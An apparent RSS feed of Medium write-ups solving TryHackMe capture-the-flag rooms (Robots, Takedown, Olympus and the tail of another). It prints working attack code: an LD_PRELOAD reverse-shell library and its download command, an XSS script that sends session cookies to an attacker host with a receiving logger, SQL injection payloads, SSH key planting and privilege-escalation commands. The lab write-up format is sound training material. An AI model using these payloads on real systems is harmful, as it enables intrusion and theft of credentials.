href="https://hacktricks.boitatech.com.br/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass#ld_preload-bypass">https://hacktricks.boitatech.com.br/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass#ld_preload-bypass</a></p><p>Create a file named shell.c</p><pre>#include &lt;stdio.h&gt; <br>#include &lt;sys/types.h&gt; <br>#include &lt;stdlib.h&gt; <br>void _init() {<br> unsetenv(&quot;LD_PRELOAD&quot;);   <br> system(&quot;bash -c \&quot;bash -i &gt;&amp; /dev/tcp/LHOST/LPORT 0&gt;&amp;1\&quot;&quot;);<br>  }</pre><p>Compile it <br>gcc -fPIC -shared -o shell.so shell.c -nostartfiles</p><p>Host the file and use the command to upload it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*a1oFLS67IaSmnsa0SPkPcw.png" /></figure><pre>$ch = curl_init(&#39;LHOST/shell.so&#39;);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);file_put_contents(&#39;/tmp/shell.so&#39;, curl_exec($ch)); curl_close($ch);</pre><p>And the following command to execute the file</p><pre>putenv(&#39;LD_PRELOAD=/tmp/shell.so&#39;); mail(&#39;a&#39;,&#39;a&#39;,&#39;a&#39;,&#39;a&#39;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*S_PxhrXozIL7YRyidvqnQw.png" /></figure><p>shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*aB2ls30v443ZNpgruSlcFA.png" /></figure><p>Trying to escalate the privilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*zEMkzJs3KRuDNcSUPWfcHw.png" /></figure><p>Checking the capabilities of the container</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*Lp-6Jl9mcY_CvQY-9OKwbA.png" /></figure><pre>capsh - decode=000001ffffffffff</pre><p>0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore</p><p>Decoding reveals a lot of parameters even access to block devices. Let us mount one</p><pre>mount /dev/nvme0n1p1 /mnt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*DL56ndPZLKvYCf-ufuJIpA.png" /></figure><p>Generate ssh keys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*Y04jOJqsNEW4LgyUFPjVqw.png" /></figure><p>save the public key</p><pre>echo &#39;ssh-ed25519 AAAAC…REDACTED&#39; &gt;&gt; /mnt/root/.ssh/authorized_keys</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*Qk4X3qYDRBJz92oqaKy9YQ.png" /></figure><p>From the yml file we can see another container</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*n2DTpxVRdZI4fO-QX-9b-g.png" /></figure><p>Root db password</p><pre>cat db/db.env</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*WWXvVLyTZChSxlNbAJ6TAQ.png" /></figure><p>Execute the docker container and connect to the db using the gotten root <br>credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*Gp_m0ienL5lqOaf9GPD80g.png" /></figure><p>switch db to secret. Hmm back to where we started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*B_RzNjak-jkbrmeouFST-w.png" /></figure><p>HAPPY HACKING !!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9b1790f1225" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Robots Tryhackme writeup]]></title>
            <link>https://medium.com/@St3mw4s/robots-tryhackme-writeup-81c8d3d65286?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/81c8d3d65286</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Tue, 25 Mar 2025 09:10:26 GMT</pubDate>
            <atom:updated>2025-03-25T09:16:44.186Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Robots Tryhackme Writeup</strong></h3><p><a href="https://tryhackme.com/room/robots">https://tryhackme.com/room/robots</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yq3oAvFNH-IskD-OVArztQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*jEueQBeOAraSRofImlgCsA.png" /></figure><p>Port Scan</p><pre>rustscan -a 10.10.243.163 - -sC -sV -Pn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*APAik610YV8qK2ARGNxfsA.png" /></figure><p>port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*9nTyjBmrDAkFlKEYZFVTag.png" /></figure><p>Port 9000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*PsaXsyB7hLWwX6uBOomn0w.png" /></figure><p>Since rustscan discovered a robots.txt file lets visit to see the discovered endpoints</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/240/1*txwg6Y4pyECYqxzFRRVeZg.gif" /><figcaption>Robots uprising</figcaption></figure><p>Disallow: /harming/humans</p><p>Disallow: /ignoring/human/orders</p><p>Disallow: /harm/to/self</p><p>Only ‘/harm/to/self’ location is not forbidden</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*bPQVt1IN3g2WtQjv20TGZQ.png" /></figure><p>Register the site in the file at /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*M-J-61Ny-M2L2KzgjmcA4g.png" /></figure><p>Let us register a new user since the admin monitors new user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*_t5JkE3_Jx54ONf5bAopWA.png" /></figure><p>We need to calculate the hash as it is our password. You can also<a href="https://cyberchef.org/"> cyberchef</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*3ExEpIfpSjvMJXu9cRUHHw.png" /></figure><p>After logging in we are redirected to a web page that displays configuration file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*soLPEMFa1zAELhM-CcG3fQ.png" /></figure><p>Let us use the following script to steal admin cookie. But first we need to register another new user. Username = ‘&lt;script src=”<a href="http://10.2.8.63:8000/stealcookies.js">http://10.2.8.63:8000/stealcookies.js</a>&quot;&gt;&lt;/script&gt;’</p><pre>var url = &quot;http://robots.thm/harm/to/self/server_info.php&quot;;<br>var attacker = &quot;http://LOCALIP/exfil&quot;;<br>var xhr = new XMLHttpRequest();<br><br>xhr.onreadystatechange = function() {<br>    if (xhr.readyState == XMLHttpRequest.DONE) {<br>        var match = xhr.responseText.match(/PHPSESSID=([a-zA-Z0-9]+)/);<br>        if (match) {<br>            fetch(attacker + &quot;?cookie=&quot; + match[1]);<br>        }<br>    }<br>}<br><br>xhr.open(&#39;GET&#39;, url, true);<br>xhr.send(null);</pre><p>Use the python3 server to host the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*7ApkAf7mH_1FjuUnUaPoaw.png" /></figure><p>The php receiving end code</p><pre>&lt;?php<br>// Retrieve the stolen PHPSESSID from the request<br>$cookie = $_GET[&#39;cookie&#39;] ?? &#39;No cookie&#39;;<br><br>// Log the stolen session ID<br>$file = &#39;stolen_sessions.log&#39;;<br>$data = &quot;[&quot; . date(&quot;Y-m-d H:i:s&quot;) . &quot;] - Stolen PHPSESSID: &quot; . $cookie . &quot;\n&quot;;<br>file_put_contents($file, $data, FILE_APPEND);<br><br>// Optionally, redirect to a normal page to avoid suspicion<br>header(&quot;Location: https://google.com&quot;);<br>exit();<br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*HXtipr1R8x7dhO0JfBjimw.png" /></figure><p>Use developer tools (f12) to replace the cookie</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*abyATqMCmROjJoZsDYbgbg.png" /></figure><p>Changing the cookie value we are now admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*FUX-Rd1lGrUXsaTCt6oe9Q.png" /></figure><p>Fuzzing for directories we find /admin.php !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*CUrjzM9GFViLhDE8ilp0sQ.png" /></figure><p>We can now access the location /admin.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*m8wqYWki3bKLk4wO8Y1L1g.png" /></figure><p>For the test url we can send php <a href="https://github.com/pentestmonkey/php-reverse-shell">reverse</a> shell Make sure you start python server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*8dMdfWgQAnkoS62sk8qJEg.png" /></figure><p>In the config file we can see the db credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*MzSes9_yy-1yIEjxFuU6VA.png" /></figure><p>use the following command to see which ip is serving the db</p><pre>getent hosts db</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*JVz31fqsV1ACl3r1tmqlkw.png" /></figure><p>Upload chisel to the machine so as to access the db since myql is not installed <a href="https://github.com/jpillora/chisel?tab=readme-ov-file#install">https://github.com/jpillora/chisel?tab=readme-ov-file#install</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*DVA3mtVdWoCDdV_hXMATmw.png" /></figure><p>Server on our side</p><pre>./chisel server --reverse --port 51234</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*CRMAEXoYD__wXHkyuOrtag.png" /></figure><p>On the client side</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*wDy5bjK6PBBWd6XwAD0lAg.png" /></figure><p>Now we can access the db on our machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*ruwvVJtZQYD8VLnvMA5wEQ.png" /></figure><p>In the web db we find the credentials. The interesting one is for the user named rgiskard we can save his password. We also note our password does not match since the passwords are double hashed. Remember the password format md5(username+ddm). We can prompt chatgpt to generate the script for us</p><pre>import hashlib<br><br>def generate_md5_hashes(username):<br>    hashes = {}<br>    for month in range(1, 13):<br>        for day in range(1, 32):<br>            ddmm = f&quot;{day:02}{month:02}&quot;<br>            data = username + ddmm<br>            md5_hash = hashlib.md5(data.encode()).hexdigest()<br>            double_hashed = hashlib.md5(md5_hash.encode()).hexdigest()<br>            hashes[ddmm] = (md5_hash, double_hashed)<br>    return hashes<br><br>def find_matching_hash(hashes, target_hash):<br>    for ddmm, (md5_hash, double_hashed) in hashes.items():<br>        if md5_hash == target_hash or double_hashed == target_hash:<br>            return ddmm, md5_hash, double_hashed<br>    return None<br><br>def main():<br>    username = input(&quot;Enter username: &quot;)<br>    target_hash = input(&quot;Enter MD5 hash to search for (single or double hashed): &quot;)<br>    hashes = generate_md5_hashes(username)<br>    <br>    with open(&quot;md5_hashes.txt&quot;, &quot;w&quot;) as f:<br>        for ddmm, (md5_hash, double_hashed) in hashes.items():<br>            f.write(f&quot;{ddmm}: {md5_hash} | Double: {double_hashed}\n&quot;)<br>    <br>    match = find_matching_hash(hashes, target_hash)<br>    if match:<br>        print(f&quot;Matching hash found for ddmm {match[0]}:\nMD5: {match[1]}\nDouble MD5: {match[2]}&quot;)<br>    else:<br>        print(&quot;No matching hash found.&quot;)<br>    <br>    print(&quot;MD5 hashes generated and saved in md5_hashes.txt&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>After running the script we get the actual username and password. Use the hash as the password for ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*T0JYocbh0Oi6B52KU7shLQ.png" /></figure><p>Unfortunately there is no user.txt</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*DfojvMNibrNxrB8EWZgo7A.png" /></figure><p>Change the directory to /tmp and generate ssh keys</p><pre>ssh-keygen -t rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*JH7cUBtqGu2JZIwBg7nD5g.png" /></figure><p>Write the keys to authorized keys in the user dolivaw home directory</p><pre>sudo -u dolivaw curl 127.0.0.1/ -o /tmb/b file:///tmp/id_rsa.pub -o /home/dolivaw/.ssh/authorized_keys</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*et0YQKRmt2iTg7CKTMlgaQ.png" /></figure><p>Also remember to copy id_rsa to our machine and set the necessary permissions using the command ‘chmod 600 id_rsa’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*84L5ocH4g4GQHozjOIvkvA.png" /></figure><p>sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*tPBJVc6If4RjTBfi1sfLTw.png" /></figure><p>we can go to gtfobins <a href="https://gtfobins.github.io/gtfobins/apache2ctl/">https://gtfobins.github.io/gtfobins/apache2ctl/</a></p><pre>sudo /usr/sbin/apache2 -c &quot;Include /root/root.txt&quot; -k stop</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*ZG13kOaDStntP68W8wJtxQ.png" /></figure><p>We can fix this by amending the command</p><pre>sudo /usr/sbin/apache2 -C &#39;Define APACHE_RUN_DIR /tmp&#39; -C &#39;Include /root/root.txt&#39; -k stop</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*GatQPJiXze7FXikw1zbSlQ.png" /></figure><p>TERMINATED !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*s3Ul173cQqv-WrtRcoQ6Ww.gif" /><figcaption>Terminated</figcaption></figure><p>HAPPY HACKING!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81c8d3d65286" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Takedown Tryhackme writeup]]></title>
            <link>https://medium.com/@St3mw4s/takedown-tryhackme-writeup-709a38a814e4?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/709a38a814e4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Wed, 19 Mar 2025 08:50:42 GMT</pubDate>
            <atom:updated>2025-03-24T09:46:32.927Z</atom:updated>
            <content:encoded><![CDATA[<h3>Takedown Tryhackme Writeup</h3><p><a href="https://tryhackme.com/room/takedown">Takedown</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p-ZujMMxfQT4byduF0cn9g.png" /></figure><p>Reading the attached pdf we understand the key objectives</p><p>nmap scan</p><p>Make sure to add takedown.thm.local to your /etc/hosts file</p><p>nmap -sC -sV -vvvv takedown.thm.local</p><p>open ports are 22,80</p><p>Visiting port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*6f0qsvmULHNw9dcPQ2cjRQ.png" /></figure><p>Next is directory busting gobuster</p><pre>dir -u http://takedown.thm.local/ -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*etl_DneiiOfheuZwCotiIA.png" /></figure><p>robots.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*SP3jD698tgbBPpyIoehHlw.png" /></figure><p>visiting the location /favicon.ico we get an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*kgzTt8lcbtRZYjmQuvFPpA.png" /></figure><p>let us use curl</p><pre>curl -v http://takedown.thm.local/favicon.ico - output fav</pre><p>the command will save the file in our machine</p><p>using the command file to determine the file type. It is not an icon file but rather a PE ( Portable executable)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*eHkm8rk-B0TkFr9ApOUiUQ.png" /></figure><p>calculating the hash it corresponds to GUNRUNNER as indicated in the pdf.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*Bry4F3ifVCAOX9nSbihEmA.png" /></figure><p>using the command ‘strings’ to view the content of the file. As show we can see it is a C2 malware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*HESfLOD2wmxXs9-DFHAVkw.png" /></figure><p>Lets visit location /images shutterbug.jpg.bak looks interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*l8kAz7POUBqn2XG1pWgtdA.png" /></figure><p>After downloading the file we see it is the OPTOMETRIC malware according to the pdf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*QYNPNnfeD6J6CwAfQfFeug.png" /></figure><p>lets visit the end point /api/agents</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*p2YSANZHyDcjLbV2VlZQ7w.png" /></figure><p>Use burp suite to intercept the request</p><p>we can try to change the user agent to match the one in the PE favicon.ico</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*b7TtXvI6H_WUx_iCH8omrw.png" /></figure><p>The response is 200 and we get a possible hostname and UID</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*gJNrSH1GUUqu0t4cJEgIFw.png" /></figure><p>Confirm by including /api/agents/ostb-pmtx-hwqz-eqyf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6FiMGB6QeljoKeSLb_VH7Q.png" /></figure><p>adding json and location /upload we can read files</p><pre>content-type: application/json<br>{ <br>     &quot;file&quot;:&quot;/etc/passwd&quot; <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*B0QJBTPNvcEPIpg8rjN2Jg.png" /></figure><p>let now use exec to get a reverse shell and make sure to base64 encode the payload</p><p>NOTE all the endpoints are visible in the PE disguised as favicon.ico</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*JQ-YiQQjVkA26Iqgvh8-5Q.png" /></figure><p>And we have a shell. However if you want to complicate things you can use curl to gain the same shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*AQdwH_08pEUBjq_TPrdOqg.png" /></figure><p>copy the ssh keys in your local machine and set permissions</p><pre>chmod 600 id_rsa</pre><pre>ssh -i id_rsa webadmin-lowpriv@10.10.10.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*ixGwzdVH2if-2ne0shHofQ.png" /></figure><p>Using the keys we have a stable shell. The username for SSH can be found in the id_rsa.pub.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*05CwtD3D_RKHpuQ2gKf67g.png" /></figure><p>Upload a process snooping tool called <a href="https://github.com/DominicBreuker/pspy">pspy </a>to the target machine and make it executable. You can do this by hosting a python server in your attacking machine. Make sure the pspy64s is in the same location where you will set up the python server.</p><pre>python3 -m http.server</pre><pre>chmod +x pspy64s</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*1CP5lvt9sJTO0IfBx1BICQ.png" /></figure><p>Running the tool we discover something interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*PAFDOsqhW8HQT9yncd3yEg.png" /></figure><p>A popular rootkit <a href="https://github.com/m0nad/Diamorphine/tree/master">https://github.com/m0nad/Diamorphine/tree/master</a></p><p>Sending a signal 64(to any pid) makes the given user become root as it is one of the features of the rootkit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*PkLAlVGhEyq6d_8LLN9Uaw.png" /></figure><p>HAPPY HACKING!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=709a38a814e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Olympus]]></title>
            <link>https://medium.com/@St3mw4s/olympus-ff7ce422ffe7?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff7ce422ffe7</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 10:30:02 GMT</pubDate>
            <atom:updated>2025-03-06T10:30:02.135Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Olympus Tryhackme Writeup</strong></h3><p><a href="https://tryhackme.com/room/olympusroom">Olympus</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*MtOvNJnRqMmb08LrnTxouQ.png" /></figure><p>nmap -sVC -Pn -vvv IP</p><p>open ports 22 ,80</p><p>we need to register the site to our /etc/hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*BUi0pFlGouEfN2qs_chRUg.png" /></figure><p>After registering the site</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nyXS-qDAqCoZKdV7-CzlNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*sdE_UXwSQjf0VpYyjvbxZw.gif" /></figure><p>Directory busting using gobuster</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*weOJlQqLI7aG0D2j6HT6CQ.png" /></figure><p>visit the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*WtJ9pH44dH1l9aRJECD-ZA.png" /></figure><p>On the site there is a log in and a search functionality. We can use search to see if the site is venerable to SQLI . I searched for ‘</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*mqT_sh4qjXxT7QZHf9j7JA.png" /></figure><p>Reload the page and capture the request in burp suite and save it to a file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*6yhts5dgyG-EfVJTrzqfPA.png" /></figure><p>You can use sqlmap for SQLI automation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*gruyFehHDPhCm7k4-fZ7UQ.png" /></figure><p>The sqlmap can take some time so i decided to use searchsploit and look up any exploits</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*upR8vJHP0BP5WtOToebNCA.png" /></figure><p>let’s try the cat_id one and we are given even the payload</p><pre>http://localhost/category.php?cat_id=-1+UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*XRKx2KfVsSrcI1NreN-k6g.png" /></figure><p>Using the payload we are able to retrieve the database name and version of MySQL running on the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*2O0fWuk5z_7qcTo2RY38Hg.png" /></figure><p>Retrieve all the databases information</p><pre>http://olympus.thm/~webmaster/category.php?cat_id=-NULL+UNION+SELECT+NULL,NULL,concat(schema_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL+%20FROM%20information_schema.schemata--</pre><p>One database named Olympus stands out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KLV1fCtjMB_psAF63ftN9Q.png" /></figure><p>Retrieve all tables in the database</p><pre>http://olympus.thm/~webmaster/category.php?cat_id=-NULL+UNION+SELECT+NULL,NULL,concat(TABLE_NAME),NULL,NULL,NULL,NULL,NULL,NULL,NULL+%20FROM%20information_schema.TABLES%20WHERE%20table_schema=%27olympus%27--</pre><p>Interesting tables are flag and users First lets grab the flag</p><pre>http://olympus.thm/~webmaster/category.php?cat_id=-NULL+UNION+SELECT+NULL,NULL,concat(flag),NULL,NULL,NULL,NULL,NULL,NULL,NULL+%20FROM%20flag--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*pklpZAVdfhREbg8J2C-DbA.png" /></figure><p>Retrieve the column names for the users table</p><pre>http://olympus.thm/~webmaster/category.php?cat_id=-NULL+UNION+SELECT+NULL,NULL,concat(column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL+%20FROM%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=%27users%27--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*LKmWQxEPoKjkpxHNdBNBeA.png" /></figure><p>let us dump the content of user name and password fields</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*Bhca4qYsDqw2J9N5wwrW9Q.png" /></figure><p>save the hashes in a file and use john to crack. We were able to crack Prometheus hash only</p><pre>john hash - wordlist=/usr/share/wordlists/rockyou.txt</pre><p>Next retrieve emails</p><pre>http://olympus.thm/~webmaster/category.php?cat_id=-NULL+UNION+SELECT+NULL,NULL,concat(user_email),NULL,NULL,NULL,NULL,NULL,NULL,NULL+%20FROM%20users--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*FoEKKlv7arqAok2jAvwepQ.png" /></figure><p>We can see another subdomain which we need to register to the file /etc/hosts use the username and password for Prometheus</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NldTXjE7To1KlsWMODpjsQ.png" /></figure><p>Let us try the same credentials on the log in page at the location <a href="http://olumpus/~webmaster">http://olumpus/~webmaster</a></p><p>We have admin access to the site</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sC8cKzBz-SFwyDaaju3ZyA.png" /></figure><p>The Olympus chat APP has a file upload option where i uploaded a reverse shell from <a href="https://github.com/pentestmonkey/php-reverse-shell">pentest monkey</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*og7Dhjk0TCOWzKLzU27EDA.png" /></figure><p>]Next is to determine where the file was uploaded to. Visiting <a href="http://chat.olympus/upload">http://chat.olympus/upload</a> seems its is empty</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*1j8N9K1GpiOwkRFWYbZ1pw.png" /></figure><p>we can use SQLI to determine the name our file was given</p><pre>http://olympus.thm/~webmaster/category.php?cat_id=-NULL+UNION+SELECT+NULL,NULL,concat(file,0x3a,msg),NULL,NULL,NULL,NULL,NULL,NULL,NULL+%20FROM%20chats--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wKCI-E92JwqHPA0jw_SQLg.png" /></figure><p>Make sure you set up a netcat listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*jcCeqEJtaBd8-1bdOvCZ-g.png" /></figure><p>flag 2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*Kh_SVAiI-plYJ5Ll6JXgLQ.png" /></figure><p>Finding SUID binaries</p><pre>find / -perm -4000 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*dDMDR2fhkBlQz3D7nBT0rA.png" /></figure><p>/usr/bin/cputils binary</p><p>The work of this binary is to copy files and we can use it to get a copy of Zeus ssh private key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*ydg-Qy62gwlzLCI5jBmyhQ.png" /></figure><p>Since the key is password protected we need to crack the password</p><pre>ssh2john zeus &gt; zeus_hash<br>john zeus_hash - wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*Nk-zOiUIhg00Yg-7rP3E0Q.png" /></figure><p>There is a weird file owned by root in the random name folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*qD9BzWxGpSub3I7kCN1M5g.png" /></figure><p>Reviewing the content we can use the following sections to get root privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*rbAEZKi4s4WIc2YNBFC1hA.png" /></figure><p>command</p><pre>uname -a; w;/lib/defended/libc.so.99</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*c9tFIM45bj5ly0bSfoyC1g.png" /></figure><p>For the final flag go to the /etc/ location and use the following command</p><pre>grep -orE &#39;flag{.*?}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/1*92RqH_SXt6okE_0kZbUInA.png" /></figure><p>Olympus has fallen!!😂😂</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff7ce422ffe7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rabbit Store Tryhackme Writeup]]></title>
            <link>https://medium.com/@St3mw4s/rabbit-store-tryhackme-writeup-04a610185c8b?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/04a610185c8b</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Tue, 04 Mar 2025 09:14:21 GMT</pubDate>
            <atom:updated>2025-03-04T09:14:21.866Z</atom:updated>
